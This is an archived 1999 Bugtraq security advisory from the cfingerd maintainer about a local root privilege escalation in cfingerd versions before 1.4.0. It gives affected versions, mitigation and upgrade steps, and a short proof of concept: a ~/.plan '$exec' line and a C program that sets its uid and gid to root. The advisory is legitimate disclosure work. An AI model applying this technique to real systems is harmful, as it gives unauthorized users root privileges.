exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

cfingerd_bug.txt

cfingerd_bug.txt
Posted Sep 22, 1999

A bug in cfingerd for versions prior to 1.4.0 tha enables any user to execute code with root privaliges

tags | exploit, root
SHA-256 | 807c962b7f65b20227868690d34abae654c35cf3513f8cc488f3fd5366db85af

cfingerd_bug.txt

Change Mirror Download
Subject:      Severe bug in cfingerd before 1.4.0
To: BUGTRAQ@SECURITYFOCUS.COM


Severe bug in cfingerd before 1.ems Content-Type: text/plain; charset=us-ascii

*** PGP Signature Status: unknown
*** Signer: Unknown, Key ID xAE8F7CF5
*** Signed: 8/10/99 11:34:37 AM
*** Verified: 9/21/99 7:41:23 PM
*** BEGIN PGP VERIFIED MESSAGE ***


Bugtraq Security Advisory
=========================

A serious bug in cfingerd before version 1.4.0 has been reported.
It is present in all versions of cfingerd from 1.2.0 up to any
version of 1.3.2. If configured accordingly this bug enables any
local user to execute random programs with root priviledges.

Although I haven't been quite verbose with development of cfingerd,
Ken Hollis (the original author) has handed maintainership over to
me a while ago. I did some development and fixed some security
related bugs, but never made an official release. This is done now.

Affected systems
----------------

All systems running a version of cfingerd beginning with version
1.2.0 and before version 1.4.0 are affected.

You are safe if you have disabled ALLOW_EXECUTION in your
cfingerd.conf file in section "internal_config", i.e. that file
contains a line "-ALLOW_EXECUTION".

This is the default configuration of this package. If you use the
default cfingerd.conf file as shipped with the distribution you are
safe. You should still upgrade.

Recommended action
------------------

1st Immediately turn off ALLOW_EXECUTION in your cfingerd.conf file.

2nd Upgrade to the most recent version of cfingerd 1.4.0 to be found
at the primary site
ftp://ftp.infodrom.north.de/pub/people/joey/cfingerd/ or
ftp://metalab.unc.edu/pub/Linux/system/network/finger/ .

Exploit
-------

The exploit is quite simple. Thanks go to Tadek Knapik
<tadek@nautilus.uwoj.krakow.pl> who has informed me.

You need to add

$exec /tmp/relinq

to your ~/.plan file. Then compile the following relinq.c file in
/tmp:

#include <stdio.h>

void main()
{
printf("Root exploit test\n");
setregid(0, 0);
setreuid(0, 0);
printf("User: %d, group: %d.\n", getuid(), getgid());
}

Checksum
--------

File: ftp://ftp.infodrom.north.de/pub/people/joey/cfingerd/cfingerd-1.4.0.tar.gz
MD5sum: dcc25e89ba1dad6497365429b1db2909

Regards,

Joey

--
Experience is something you don't get until just after you need it.


*** END PGP VERIFIED MESSAGE ***

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close